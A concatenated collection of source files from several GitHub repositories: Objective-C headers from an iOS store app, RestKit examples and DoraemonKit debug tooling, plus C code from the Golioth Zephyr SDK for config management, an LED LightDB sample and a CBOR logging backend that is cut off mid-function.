+ (BOOL)checkID:(NSString *)sPaperId;
/**
* 将礼物model转换为json字符串
*
* @param model 礼物model
*
* @return json字符串
*/
//+ (NSString *)gift:(GiftListModel *)model;
//归档到本地
+ (void)writeToSandBox:(id)object key:(NSString *)key;
//通过key从本地解档
+ (id)readFromSandBox:(NSString *)key;
//根据key获取沙河路径
+ (NSString *)getFilePathWithKey:(NSString *)key;
//时间截转格式时间
+ (NSString *)getTimeTextFormat:(NSString *)formatStr timeNum:(NSInteger)timeNum;
//根据出生日期计算星座
+ (NSString *)getConstellationFromDate:(NSDate *)date;
//window展示吐丝
+ (void)showToastMsg:(NSString *)msg;
//window展示吐丝(带回调block)
+ (void)showToastMsg:(NSString *)msg completion:(void(^)())completion;
//第一次打开App
+ (void)firstOpenAppBlock:(void(^)())block;
@end
|
754340156/NQ_quanfu | Pods/Target Support Files/Pods-allrichstore/Pods-allrichstore-umbrella.h | #ifdef __OBJC__
#import <UIKit/UIKit.h>
#endif
FOUNDATION_EXPORT double Pods_allrichstoreVersionNumber;
FOUNDATION_EXPORT const unsigned char Pods_allrichstoreVersionString[];
|
754340156/NQ_quanfu | allrichstore/UI/GoodsClass/Main/V/ThreeMenuCell.h | <gh_stars>1-10
//
// ThreeMenuCell.h
// allrichstore
//
// Created by 任强宾 on 16/11/3.
// Copyright © 2016年 allrich88. All rights reserved.
//
#import "BaseCollectionViewCell.h"
//三级分类菜单的 --> 第三级
@interface ThreeMenuCell : BaseCollectionViewCell
@end
|
754340156/NQ_quanfu | allrichstore/Tools/QBClass/QBUIClass/TableView.h | <reponame>754340156/NQ_quanfu
//
// TableView.h
// PRJ_CreditRecruit
//
// Created by apple on 16/2/29.
// Copyright © 2016年 河南维创盈通科技有限公司. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface TableView : UITableView
@end
|
754340156/NQ_quanfu | allrichstore/Base/V/NetErrorCell.h | //
// NetErrorCell.h
// LiveTest
//
// Created by 任强宾 on 16/9/13.
// Copyright © 2016年 NeiQuan. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface NetErrorCell : UITableViewCell
@end
|
seletz/RestKit | Examples/RKDiscussionBoardExample/DiscussionBoard/Code/Other/RKRequestTTModel+Loading.h | <reponame>seletz/RestKit<gh_stars>1-10
//
// RKRequestTTModel+Loading.h
// DiscussionBoard
//
// Created by <NAME> on 1/12/11.
// Copyright 2011 Two Toasters. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <RestKit/Three20/Three20.h>
@interface RKRequestTTModel (Loading)
@end
|
seletz/RestKit | Examples/RKDiscussionBoardExample/DiscussionBoard/Code/Models/DBContentObject.h | //
// DBContentObject.h
// DiscussionBoard
//
// Created by <NAME> on 1/20/11.
// Copyright 2011 Two Toasters. All rights reserved.
//
#import <RestKit/RestKit.h>
#import <RestKit/CoreData/CoreData.h>
#import "DBUser.h"
// Posted when a content object has changed
extern NSString* const DBContentObjectDidChangeNotification;
/**
* Abstract superclass for content models in the Discussion Board. Provides
* common property & method definitions for the system
*/
@interface DBContentObject : RKManagedObject {
}
////////////////////////////////////////////////////////////////////////////////////////////////
#pragma mark Common content properties
/**
* A timestamp of when the object was created
*/
@property (nonatomic, retain) NSDate* createdAt;
/**
* A timestamp of when the object was last modified
*/
@property (nonatomic, retain) NSDate* updatedAt;
/**
* The numeric primary key of the User who created this object
*/
@property (nonatomic, retain) NSNumber* userID;
/**
* The username of the User who created this object
*/
@property (nonatomic, readonly) NSString* username;
////////////////////////////////////////////////////////////////////////////////////////////////
#pragma mark Common relationships
/**
* The User who created this object within the Discussion Board.
* This is a Core Data relationship to the User object with the
* primary key value contained in the userID property
*/
@property (nonatomic, retain) DBUser* user;
////////////////////////////////////////////////////////////////////////////////////////////////
/**
* Returns YES when the object does not have a primary key
* for the remote system. This indicates that the object is unsaved
*/
- (BOOL)isNewRecord;
@end
|
seletz/RestKit | Examples/RKTwitterCoreData/Classes/RKTUser.h | <reponame>seletz/RestKit
//
// RKTUser.h
// RKTwitter
//
// Created by <NAME> on 9/5/10.
// Copyright 2010 Two Toasters. All rights reserved.
//
#import <RestKit/RestKit.h>
#import <RestKit/CoreData/CoreData.h>
@interface RKTUser : RKManagedObject {
}
@property (nonatomic, retain) NSNumber* userID;
@property (nonatomic, retain) NSString* name;
@property (nonatomic, retain) NSString* screenName;
@end
|
seletz/RestKit | Examples/RKDiscussionBoardExample/DiscussionBoard/Code/Models/DBUser.h | //
// DBUser.h
// DiscussionBoard
//
// Created by <NAME> on 1/10/11.
// Copyright 2011 Two Toasters. All rights reserved.
//
#import <RestKit/RestKit.h>
#import <RestKit/CoreData/CoreData.h>
// Declared here and defined below
@class DBContentObject;
@protocol DBUserAuthenticationDelegate;
////////////////////////////////////////////////////////////////////////////////////////////////
@interface DBUser : RKManagedObject <RKObjectLoaderDelegate> {
// Transient. Used for login & sign-up
NSString* _password;
NSString* _passwordConfirmation;
NSObject<DBUserAuthenticationDelegate>* _delegate;
}
/**
* The delegate for the User. Will be informed of session life-cycle events
*/
@property (nonatomic, assign) NSObject<DBUserAuthenticationDelegate>* delegate;
/**
* The e-mail address of the User
*/
@property (nonatomic, retain) NSString* email;
/**
* The username of the User
*/
@property (nonatomic, retain) NSString* username;
/**
* An Access Token returned when a User is authenticated
*/
@property (nonatomic, retain) NSString* singleAccessToken;
/**
* The numeric primary key of this User in the remote backend system
*/
@property (nonatomic, retain) NSNumber* userID;
#pragma mark Transient sign-up properties
/**
* The password the User wants to secure their account with
*/
@property (nonatomic, retain) NSString* password;
/**
* A confirmation of the password the User wants t secure their account with
*/
@property (nonatomic, retain) NSString* passwordConfirmation;
////////////////////////////////////////////////////////////////////////////////////////////////
/**
* A globally available singleton reference to the current User. When the User is
* not authenticated, a new object will be constructed and returned
*/
+ (DBUser*)currentUser;
/**
* Completes a sign up using the properties assigned to the object
*/
- (void)signUpWithDelegate:(NSObject<DBUserAuthenticationDelegate>*)delegate;
/**
* Attempts to log a User into the system with a given username and password
*/
- (void)loginWithUsername:(NSString*)username andPassword:(NSString*)password delegate:(NSObject<DBUserAuthenticationDelegate>*)delegate;
/**
* Returns YES when the User is logged in
*/
- (BOOL)isLoggedIn;
/**
* Logs the User out of the system
*/
- (void)logout;
/**
* Example of implementing a simple client side permissions system on top of
* the data model. Any managed object that has a user relationship will be compared
* to self to determine if update operations are permitted. Unsaved objects can be modified
* as well.
*/
- (BOOL)canModifyObject:(DBContentObject*)object;
@end
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
/**
* Notifications
*/
extern NSString* const DBUserDidLoginNotification; // Posted when the User logs in
extern NSString* const DBUserDidLogoutNotification; // Posted when the User logs out
/**
* A protocol defining life-cycles events for a user logging in and out
* of the application
*/
@protocol DBUserAuthenticationDelegate
@optional
/**
* Sent to the delegate when sign up has completed successfully. Immediately
* followed by an invocation of userDidLogin:
*/
- (void)userDidSignUp:(DBUser*)user;
/**
* Sent to the delegate when sign up failed for a specific reason
*/
- (void)user:(DBUser*)user didFailSignUpWithError:(NSError*)error;
/**
* Sent to the delegate when the User has successfully authenticated
*/
- (void)userDidLogin:(DBUser*)user;
/**
* Sent to the delegate when the User failed login for a specific reason
*/
- (void)user:(DBUser*)user didFailLoginWithError:(NSError*)error;
/**
* Sent to the delegate when the User logged out of the system
*/
- (void)userDidLogout:(DBUser*)user;
@end
|
seletz/RestKit | Examples/RKDiscussionBoardExample/DiscussionBoard/Code/Controllers/DBPostsTableViewController.h | <reponame>seletz/RestKit
//
// DBPostsTableViewController.h
// DiscussionBoard
//
// Created by <NAME> on 1/7/11.
// Copyright 2011 Two Toasters. All rights reserved.
//
#import <Three20/Three20.h>
#import "DBResourceListTableViewController.h"
#import "DBTopic.h"
/**
* Displays a table of Posts within a given Topic
*/
@interface DBPostsTableViewController : DBResourceListTableViewController {
DBTopic* _topic;
}
/**
* The Topic we are viewing Posts within
*/
@property (nonatomic, readonly) DBTopic* topic;
@end
|
seletz/RestKit | Examples/RKDiscussionBoardExample/DiscussionBoard/Code/Controllers/DBResourceListTableViewController.h | <reponame>seletz/RestKit
//
// DBResourceListTableViewController.h
// DiscussionBoard
//
// Created by <NAME> on 1/10/11.
// Copyright 2011 Two Toasters. All rights reserved.
//
#import <Three20/Three20.h>
#import <RestKit/Three20/Three20.h>
@interface DBResourceListTableViewController : TTTableViewController {
UILabel* _loadedAtLabel;
UILabel* _tableTitleHeaderLabel;
NSString* _resourcePath;
Class _resourceClass;
}
@end
|
seletz/RestKit | Examples/RKDiscussionBoardExample/DiscussionBoard/Code/Controllers/DBTopicViewController.h | <gh_stars>1-10
//
// DBEditTopicViewController.h
// DiscussionBoard
//
// Created by <NAME> on 1/10/11.
// Copyright 2011 Two Toasters. All rights reserved.
//
#import <Three20/Three20.h>
#import "DBAuthenticatedTableViewController.h"
#import "DBTopic.h"
@interface DBTopicViewController : DBAuthenticatedTableViewController <RKObjectLoaderDelegate> {
UITextField* _topicNameField;
DBTopic* _topic;
}
/**
* The Topic that is being viewed
*/
@property (nonatomic, readonly) DBTopic* topic;
@end
|
bravegogo/DoraemonKit | iOS/DoraemonKit/Src/Core/Util/KVDB/KVDatabase.h | //
// KVDatabase.h
//
//
// Created by on 2017/5/9.
// Copyright © 2017年 . All rights reserved.
//
#import <Foundation/Foundation.h>
@interface KVDatabase : NSObject
+ (instancetype)dbWithPath:(NSString *)filePath;
- (BOOL)putInteger:(long long)data forKey:(NSString *)key;
- (long long)getIntegerWithKey:(NSString *)key;
- (BOOL)putString:(NSString *)data forKey:(NSString *)key;
- (NSString *)getStringWithKey:(NSString *)key;
- (BOOL)putDictionary:(NSDictionary *)data forKey:(NSString *)key;
- (NSDictionary *)getDictionaryWithKey:(NSString *)key;
- (BOOL)putArray:(NSArray *)data forKey:(NSString *)key;
- (NSArray *)getArrayWithKey:(NSString *)key;
- (BOOL)putInteger:(long long)data forKey:(NSString *)key toCategory:(int)category;
- (long long)getIntegerWithKey:(NSString *)key fromCategory:(int)category;
- (BOOL)putString:(NSString *)data forKey:(NSString *)key toCategory:(int)category;
- (NSString *)getStringWithKey:(NSString *)key fromCategory:(int)category;
- (BOOL)putDictionary:(NSDictionary *)data forKey:(NSString *)key toCategory:(int)category;
- (NSDictionary *)getDictionaryWithKey:(NSString *)key fromCategory:(int)category;
- (BOOL)putArray:(NSArray *)data forKey:(NSString *)key toCategory:(int)category;
- (NSArray *)getArrayWithKey:(NSString *)key fromCategory:(int)category;
- (NSArray *)getAllContents;
@end
|
bravegogo/DoraemonKit | iOS/DoraemonKit/Src/Core/Plugin/Common/ume/UmeDoraemonDBViewController.h | //
// UmeDoraemonDBViewController.h
// Pods
//
// Created by hyhan on 2020/7/27.
//
#import "DoraemonBaseViewController.h"
NS_ASSUME_NONNULL_BEGIN
@interface UmeDoraemonDBViewController : DoraemonBaseViewController
@end
NS_ASSUME_NONNULL_END
|
bravegogo/DoraemonKit | iOS/DoraemonKit/Src/Core/Plugin/Common/ume/UmeDoraemonNullPointerPlugin.h | <gh_stars>0
//
// UmeDoraemonNullPointerPlugin.h
// Pods
//
// Created by hyhan on 2020/7/27.
//
#import <Foundation/Foundation.h>
#import "DoraemonPluginProtocol.h"
NS_ASSUME_NONNULL_BEGIN
@interface UmeDoraemonNullPointerPlugin : NSObject<DoraemonPluginProtocol>
@end
NS_ASSUME_NONNULL_END
|
bravegogo/DoraemonKit | iOS/DoraemonKit/Src/LXDZombieSniffer/sniffer/LXDZombieSniffer.h | <reponame>bravegogo/DoraemonKit
//
// LXDZombieSniffer.h
// LXDZombieSniffer
//
// Created by linxinda on 2017/10/28.
//
#import <Foundation/Foundation.h>
/*!
* @category LXDZombieSniffer
* zombie对象嗅探器
*/
@interface LXDZombieSniffer : NSObject
/*!
* @method installSniffer
* 启动zombie检测
*/
+ (void)installSniffer;
/*!
* @method uninstallSnifier
* 停止zombie检测
*/
+ (void)uninstallSnifier;
/*!
* @method appendIgnoreClass
* 添加白名单类
*/
+ (void)appendIgnoreClass: (Class)cls;
/*!
* @method isRunning
* 是否已启动zombie检测
*/
+ (BOOL)isRunning;
/*!
* @method saveInfoLocial
* 是否捕获的信息保存到本地
*/
+ (BOOL)saveInfoLocial;
/*!
* @method saveInfoLocial
* 设置是否把捕获的信息保存到本地
*/
+ (void)saveInfoLocial:(BOOL)status;
/*!
* @method lastZombieInfo
* 查看上次的zombie信息
*/
+ (NSString *)lastZombieInfo;
@end
|
bravegogo/DoraemonKit | iOS/DoraemonKit/Src/LXDZombieSniffer/proxy/LXDZombieProxy.h | //
// LXDZombieProxy.h
// LXDZombieSniffer
//
// Created by linxinda on 2017/10/28.
//
#import <Foundation/Foundation.h>
static const NSString * ZombieStatusNotLog = @"ZombieStatusNotLog";
static const NSString * ZombieInfo = @"ZombieInfo";
/*!
* @class LXDZombieProxy
* zombie对象类
*/
@interface LXDZombieProxy : NSProxy
@property (nonatomic, assign) Class originClass;
@end
|
bravegogo/DoraemonKit | iOS/DoraemonKit/Src/Core/Plugin/Common/ume/UmeDoraemonMMKVViewController.h | <gh_stars>0
//
// UmeDoraemonMMKVViewController.h
// Pods
//
// Created by hyhan on 2020/7/27.
//
#import "DoraemonBaseViewController.h"
NS_ASSUME_NONNULL_BEGIN
@interface UmeDoraemonMMKVViewController : DoraemonBaseViewController
@end
NS_ASSUME_NONNULL_END
|
bravegogo/DoraemonKit | iOS/DoraemonKit/Src/Core/Plugin/Common/ume/UmeDoraemonMMKVPlugin.h | <filename>iOS/DoraemonKit/Src/Core/Plugin/Common/ume/UmeDoraemonMMKVPlugin.h
//
// UmeDoraemonMMKVPlugin.h
// Pods
//
// Created by hyhan on 2020/7/27.
//
#import <Foundation/Foundation.h>
#import "DoraemonPluginProtocol.h"
NS_ASSUME_NONNULL_BEGIN
@interface UmeDoraemonMMKVPlugin : NSObject<DoraemonPluginProtocol>
@end
NS_ASSUME_NONNULL_END
|
bravegogo/DoraemonKit | iOS/DoraemonKit/Src/Core/Category/NSObject+Doraemon.h | //
// NSObject+Doraemon.h
// AFNetworking
//
// Created by yixiang on 2018/7/2.
//
#import <Foundation/Foundation.h>
@interface NSObject (Doraemon)
/**
swizzle 类方法
@param oriSel 原有的方法
@param swiSel swizzle的方法
*/
+ (void)doraemon_swizzleClassMethodWithOriginSel:(SEL)oriSel swizzledSel:(SEL)swiSel;
/**
swizzle 实例方法
@param oriSel 原有的方法
@param swiSel swizzle的方法
*/
+ (void)doraemon_swizzleInstanceMethodWithOriginSel:(SEL)oriSel swizzledSel:(SEL)swiSel;
+ (void)safe_instanceSwizzleMethodWithClass:(Class _Nonnull )klass
orginalMethod:(SEL _Nonnull )originalSelector
replaceClass:(Class _Nonnull )rlass
replaceMethod:(SEL _Nonnull )replaceSelector;
@end
|
bravegogo/DoraemonKit | iOS/DoraemonKitDemo/DoraemonKitDemo/DemoVC/Zombie/ZombieTestViewController.h | //
// ZombieTestViewController.h
// DoraemonKitDemo
//
// Created by on 2020/7/29.
// Copyright © 2020 yixiang. All rights reserved.
//
#import <UIKit/UIKit.h>
NS_ASSUME_NONNULL_BEGIN
@interface ZombieTestViewController : UIViewController
@end
NS_ASSUME_NONNULL_END
|
ubieda/zephyr-sdk | mgmt/mcumgr/cfg_mgmt.c | <filename>mgmt/mcumgr/cfg_mgmt.c
/*
* Copyright (c) 2021 Golioth, Inc.
*
* SPDX-License-Identifier: Apache-2.0
*/
#include <assert.h>
#include <errno.h>
#include <string.h>
#include <util/mcumgr_util.h>
#include <settings/settings.h>
#include "cborattr/cborattr.h"
#include "cfg_mgmt/cfg_mgmt.h"
#include "mgmt/mgmt.h"
#include "tinycbor/cbor.h"
static mgmt_handler_fn cfg_mgmt_val_get;
static mgmt_handler_fn cfg_mgmt_val_set;
static const struct mgmt_handler cfg_mgmt_group_handlers[] = {
[CFG_MGMT_ID_VAL] = {
IS_ENABLED(CONFIG_SETTINGS_RUNTIME) ? cfg_mgmt_val_get : NULL,
cfg_mgmt_val_set,
},
};
static struct mgmt_group cfg_mgmt_group = {
.mg_handlers = cfg_mgmt_group_handlers,
.mg_handlers_count = ARRAY_SIZE(cfg_mgmt_group_handlers),
.mg_group_id = MGMT_GROUP_ID_CONFIG,
};
static int cfg_mgmt_impl_get(const char *name, uint8_t *val, size_t *val_len)
{
#ifdef CONFIG_SETTINGS_RUNTIME
int ret;
ret = settings_runtime_get(name, val, *val_len);
if (ret < 0) {
if (ret == -ENOENT) {
return MGMT_ERR_ENOENT;
}
return MGMT_ERR_EUNKNOWN;
}
*val_len = ret;
return 0;
#else
return MGMT_ERR_ENOTSUP;
#endif
}
/**
* Command handler: cfg val
*/
static int cfg_mgmt_val_get(struct mgmt_ctxt *ctxt)
{
char name[CONFIG_MCUMGR_CMD_CFG_MGMT_KEY_MAX_LEN];
char val[CONFIG_MCUMGR_CMD_CFG_MGMT_VAL_MAX_LEN];
size_t val_len = sizeof(val);
CborError err = 0;
int rc;
const struct cbor_attr_t attrs[] = {
{
.attribute = "name",
.type = CborAttrTextStringType,
.addr.string = name,
.nodefault = true,
.len = sizeof(name),
},
{ },
};
name[0] = '\0';
rc = cbor_read_object(&ctxt->it, attrs);
if (rc != 0) {
return MGMT_ERR_EINVAL;
}
rc = cfg_mgmt_impl_get(name, val, &val_len);
err |= cbor_encode_text_stringz(&ctxt->encoder, "rc");
err |= cbor_encode_int(&ctxt->encoder, rc);
if (rc == 0) {
err |= cbor_encode_text_stringz(&ctxt->encoder, "val");
err |= cbor_encode_byte_string(&ctxt->encoder, val, val_len);
}
if (err != 0) {
return MGMT_ERR_ENOMEM;
}
return 0;
}
static int cfg_mgmt_impl_set(const char *name, const uint8_t *val,
size_t val_len)
{
int err;
#ifdef CONFIG_SETTINGS_RUNTIME
err = settings_runtime_set(name, val, val_len);
if (err) {
return MGMT_ERR_EUNKNOWN;
}
#endif
err = settings_save_one(name, val, val_len);
if (err) {
return MGMT_ERR_EUNKNOWN;
}
return 0;
}
/**
* Command handler: cfg val
*/
static int cfg_mgmt_val_set(struct mgmt_ctxt *ctxt)
{
char name[CONFIG_MCUMGR_CMD_CFG_MGMT_KEY_MAX_LEN];
char val[CONFIG_MCUMGR_CMD_CFG_MGMT_VAL_MAX_LEN];
size_t val_len = SIZE_MAX;
bool save;
CborError err = 0;
int rc;
const struct cbor_attr_t attrs[] = {
{
.attribute = "name",
.type = CborAttrTextStringType,
.addr.string = name,
.nodefault = true,
.len = sizeof(name),
},
{
.attribute = "val",
.type = CborAttrByteStringType,
.addr.bytestring.data = val,
.addr.bytestring.len = &val_len,
.nodefault = true,
.len = sizeof(val),
},
{
.attribute = "val",
.type = CborAttrTextStringType,
.addr.string = val,
.nodefault = true,
.len = sizeof(val),
},
{
.attribute = "save",
.type = CborAttrBooleanType,
.addr.boolean = &save,
.dflt.boolean = false,
},
{ },
};
name[0] = '\0';
val[0] = '\0';
rc = cbor_read_object(&ctxt->it, attrs);
if (rc != 0) {
return MGMT_ERR_EINVAL;
}
if (val_len == SIZE_MAX) {
val_len = strlen(val);
}
if (name[0] == '\0') {
return MGMT_ERR_EINVAL;
}
rc = cfg_mgmt_impl_set(name, val, val_len);
err |= cbor_encode_text_stringz(&ctxt->encoder, "rc");
err |= cbor_encode_int(&ctxt->encoder, rc);
if (err != 0) {
return MGMT_ERR_ENOMEM;
}
return 0;
}
void cfg_mgmt_register_group(void)
{
mgmt_register_group(&cfg_mgmt_group);
}
|
ubieda/zephyr-sdk | samples/lightdb_led/src/main.c | <reponame>ubieda/zephyr-sdk
/*
* Copyright (c) 2021 Golioth, Inc.
*
* SPDX-License-Identifier: Apache-2.0
*/
#include <logging/log.h>
LOG_MODULE_REGISTER(golioth_lightdb, LOG_LEVEL_DBG);
#include <net/coap.h>
#include <net/golioth/system_client.h>
#include <net/golioth/wifi.h>
#include <drivers/gpio.h>
#include <stdlib.h>
#include <tinycbor/cbor.h>
#include <tinycbor/cbor_buf_reader.h>
static struct golioth_client *client = GOLIOTH_SYSTEM_CLIENT_GET();
static struct coap_reply coap_replies[1];
#define LED_GPIO_SPEC(i, _) \
COND_CODE_1(DT_NODE_HAS_STATUS(DT_ALIAS(led##i), okay), \
(GPIO_DT_SPEC_GET(DT_ALIAS(led##i), gpios),), \
())
static struct gpio_dt_spec led[] = {
UTIL_LISTIFY(10, LED_GPIO_SPEC)
};
static void golioth_led_initialize(void)
{
int i;
for (i = 0; i < ARRAY_SIZE(led); i++) {
gpio_pin_configure_dt(&led[i], GPIO_OUTPUT_INACTIVE);
}
}
static void golioth_led_set(unsigned int id, bool value)
{
if (id >= ARRAY_SIZE(led)) {
LOG_WRN("There is no LED %u (total %zu)", id,
(size_t) ARRAY_SIZE(led));
return;
}
gpio_pin_set(led[id].port, led[id].pin, value);
}
static void golioth_led_set_by_name(const char *name, bool value)
{
char *endptr;
unsigned long id;
id = strtoul(name, &endptr, 0);
if (endptr == name || *endptr != '\0') {
LOG_WRN("LED name '%s' is not valid", name);
return;
}
golioth_led_set(id, value);
}
static int golioth_led_handle(const struct coap_packet *response,
struct coap_reply *reply,
const struct sockaddr *from)
{
const uint8_t *payload;
uint16_t payload_len;
struct cbor_buf_reader reader;
CborParser parser;
CborValue value;
CborError err;
payload = coap_packet_get_payload(response, &payload_len);
cbor_buf_reader_init(&reader, payload, payload_len);
err = cbor_parser_init(&reader.r, 0, &parser, &value);
if (err != CborNoError) {
LOG_ERR("Failed to init CBOR parser: %d", err);
return -EINVAL;
}
if (cbor_value_is_boolean(&value)) {
bool v;
cbor_value_get_boolean(&value, &v);
LOG_INF("LED value: %d", v);
golioth_led_set(0, v);
} else if (cbor_value_is_map(&value)) {
CborValue map;
char name[5];
size_t name_len;
bool v;
err = cbor_value_enter_container(&value, &map);
if (err != CborNoError) {
LOG_WRN("Failed to enter map: %d", err);
return -EINVAL;
}
while (!cbor_value_at_end(&map)) {
/* key */
if (!cbor_value_is_text_string(&map)) {
LOG_WRN("Map key is not string: %d",
cbor_value_get_type(&map));
break;
}
name_len = sizeof(name) - 1;
err = cbor_value_copy_text_string(&map,
name, &name_len,
&map);
if (err != CborNoError) {
LOG_WRN("Failed to read map key: %d", err);
break;
}
name[name_len] = '\0';
/* value */
if (!cbor_value_is_boolean(&map)) {
LOG_WRN("Map key is not boolean");
break;
}
err = cbor_value_get_boolean(&map, &v);
if (err != CborNoError) {
LOG_WRN("Failed to read map key: %d", err);
break;
}
err = cbor_value_advance_fixed(&map);
if (err != CborNoError) {
LOG_WRN("Failed to advance: %d", err);
break;
}
LOG_INF("LED %s -> %d", log_strdup(name), (int) v);
golioth_led_set_by_name(name, v);
}
err = cbor_value_leave_container(&value, &map);
if (err != CborNoError) {
LOG_WRN("Failed to enter map: %d", err);
}
}
return 0;
}
static void golioth_on_connect(struct golioth_client *client)
{
struct coap_reply *observe_reply;
int err;
int i;
for (i = 0; i < ARRAY_SIZE(coap_replies); i++) {
coap_reply_clear(&coap_replies[i]);
}
observe_reply = coap_reply_next_unused(coap_replies,
ARRAY_SIZE(coap_replies));
if (!observe_reply) {
LOG_ERR("No more reply handlers");
return;
}
err = golioth_lightdb_observe(client, GOLIOTH_LIGHTDB_PATH("led"),
COAP_CONTENT_FORMAT_APP_CBOR,
observe_reply, golioth_led_handle);
}
static void golioth_on_message(struct golioth_client *client,
struct coap_packet *rx)
{
uint16_t payload_len;
const uint8_t *payload;
uint8_t type;
type = coap_header_get_type(rx);
payload = coap_packet_get_payload(rx, &payload_len);
if (!IS_ENABLED(CONFIG_LOG_BACKEND_GOLIOTH) && payload) {
LOG_HEXDUMP_DBG(payload, payload_len, "Payload");
}
(void)coap_response_received(rx, NULL, coap_replies,
ARRAY_SIZE(coap_replies));
}
void main(void)
{
char str_counter[sizeof("4294967295")];
int counter = 0;
int err;
LOG_DBG("Start Light DB LED sample");
if (IS_ENABLED(CONFIG_GOLIOTH_SAMPLE_WIFI)) {
LOG_INF("Connecting to WiFi");
wifi_connect();
}
golioth_led_initialize();
client->on_connect = golioth_on_connect;
client->on_message = golioth_on_message;
golioth_system_client_start();
while (true) {
snprintk(str_counter, sizeof(str_counter) - 1, "%d", counter);
err = golioth_lightdb_set(client,
GOLIOTH_LIGHTDB_PATH("counter"),
COAP_CONTENT_FORMAT_TEXT_PLAIN,
str_counter, strlen(str_counter));
if (err) {
LOG_WRN("Failed to update counter: %d", err);
}
counter++;
k_sleep(K_SECONDS(5));
}
}
|
ubieda/zephyr-sdk | logging/log_backend_golioth.c | <filename>logging/log_backend_golioth.c
/*
* Copyright (c) 2021 Golioth, Inc.
*
* SPDX-License-Identifier: Apache-2.0
*/
#include <irq.h>
#include <logging/log_backend.h>
#include <logging/log_core.h>
#include <logging/log_msg.h>
#include <logging/log_output.h>
#include <net/golioth.h>
#include <sys/cbprintf.h>
#include <tinycbor/cbor.h>
#include <tinycbor/cbor_buf_writer.h>
/* Set this to 1 if you want to see what is being sent to server */
#define DEBUG_PRINTING 0
#if DEBUG_PRINTING
#define DBG(fmt, ...) printk("%s: "fmt, __func__, ##__VA_ARGS__)
#else
#define DBG(fmt, ...)
#endif
#define LOGS_URI_PATH "logs"
#define CBOR_SPACE_RESERVED 8
#define CBOR_INDEX_FIELDS 1
#define CBOR_HEADERS_FIELDS 3
#define CBOR_MSG_FIELDS 1
#define CBOR_HEXDUMP_FIELDS 1
struct golioth_cbor_ctx {
uint8_t *buf;
size_t buf_len;
CborEncoder encoder;
CborEncoder map;
struct cbor_buf_writer buf_writer;
};
struct golioth_pdu_ctx {
uint8_t *begin;
uint8_t *ptr;
uint8_t *end;
};
struct golioth_log_ctx {
struct golioth_client *client;
uint32_t msg_index;
uint32_t msg_part;
bool panic_mode;
struct coap_packet coap_packet;
struct golioth_cbor_ctx cbor;
struct golioth_pdu_ctx pdu;
uint8_t packet_buf[CONFIG_LOG_BACKEND_GOLIOTH_MAX_PACKET_SIZE];
};
static const char *level_str(uint32_t level)
{
switch (level) {
case LOG_LEVEL_ERR:
return "error";
case LOG_LEVEL_WRN:
return "warn";
case LOG_LEVEL_INF:
return "info";
default:
return "debug";
}
}
static int coap_packet_prepare(struct coap_packet *packet, uint8_t *buf,
size_t buf_len)
{
int err;
err = coap_packet_init(packet, buf, buf_len,
COAP_VERSION_1, COAP_TYPE_NON_CON,
COAP_TOKEN_MAX_LEN, coap_next_token(),
COAP_METHOD_POST, coap_next_id());
if (err) {
DBG("failed to init CoAP packet: %d\n", err);
goto fail;
}
err = coap_packet_append_option(packet, COAP_OPTION_URI_PATH,
LOGS_URI_PATH,
sizeof(LOGS_URI_PATH) - 1);
if (err) {
DBG("failed to append logs uri path: %d\n", err);
goto fail;
}
err = coap_append_option_int(packet, COAP_OPTION_CONTENT_FORMAT,
COAP_CONTENT_FORMAT_APP_CBOR);
if (err) {
DBG("failed to append logs content format: %d\n", err);
goto fail;
}
err = coap_packet_append_payload_marker(packet);
if (err) {
DBG("failed to append logs payload marker: %d\n", err);
goto fail;
}
fail:
return err;
}
static void log_cbor_prepare(struct golioth_cbor_ctx *cbor, uint8_t *buf,
size_t buf_len)
{
cbor->buf = buf;
cbor->buf_len = buf_len;
cbor_buf_writer_init(&cbor->buf_writer, cbor->buf, cbor->buf_len);
cbor_encoder_init(&cbor->encoder, &cbor->buf_writer.enc, 0);
}
static void log_cbor_append_index(struct golioth_log_ctx *ctx)
{
struct golioth_cbor_ctx *cbor = &ctx->cbor;
cbor_encode_text_stringz(&cbor->map, "index");
cbor_encode_uint(&cbor->map, ctx->msg_index);
}
static void log_cbor_append_headers(struct golioth_log_ctx *ctx,
struct log_msg *msg)
{
struct golioth_cbor_ctx *cbor = &ctx->cbor;
cbor_encode_text_stringz(&cbor->map, "uptime");
cbor_encode_uint(&cbor->map,
log_output_timestamp_to_us(msg->hdr.timestamp));
cbor_encode_text_stringz(&cbor->map, "module");
cbor_encode_text_stringz(&cbor->map,
log_name_get(msg->hdr.ids.source_id));
cbor_encode_text_stringz(&cbor->map, "level");
cbor_encode_text_stringz(&cbor->map, level_str(msg->hdr.ids.level));
}
static void log_cbor_append_func(struct golioth_log_ctx *ctx, const char *func)
{
struct golioth_cbor_ctx *cbor = &ctx->cbor;
cbor_encode_text_stringz(&cbor->map, "func");
cbor_encode_text_stringz(&cbor->map, func);
}
static int log_packet_prepare(struct golioth_log_ctx *ctx)
{
int err;
err = coap_packet_prepare(&ctx->coap_packet, ctx->packet_buf,
sizeof(ctx->packet_buf));
if (err) {
return err;
}
/*
* Use tail of CoAP packet (where payload will go) to write CBOR
* content. This allows to utilize CoAP buffer space directly for
* encoding CBOR.
*/
log_cbor_prepare(&ctx->cbor, ctx->packet_buf + ctx->coap_packet.offset,
sizeof(ctx->packet_buf) - ctx->coap_packet.offset);
return 0;
}
static int log_packet_finish(struct golioth_log_ctx *ctx)
{
struct golioth_cbor_ctx *cbor = &ctx->cbor;
int err;
/*
* Add CBOR payload into CoAP payload. In fact CBOR is already in good
* place in memory, so the only thing that is needed is moving forward
* CoAP offset.
*
* TODO: add CoAP API that will prevent internal memcpy()
*/
err = coap_packet_append_payload(&ctx->coap_packet, cbor->buf,
cbor->buf_writer.enc.bytes_written);
if (err) {
DBG("logs payload append fail: %d\n", err);
return err;
}
return 0;
}
static void log_cbor_create_map(struct golioth_log_ctx *ctx, size_t length)
{
struct golioth_cbor_ctx *cbor = &ctx->cbor;
cbor_encoder_create_map(&cbor->encoder, &cbor->map, length);
}
static void log_cbor_close_map(struct golioth_log_ctx *ctx)
{
struct golioth_cbor_ctx *cbor = &ctx->cbor;
cbor_encoder_close_container(&cbor->encoder, &cbor->map);
}
static int log_pdu_prepare(struct golioth_pdu_ctx *pdu,
struct golioth_cbor_ctx *cbor)
{
size_t offset;
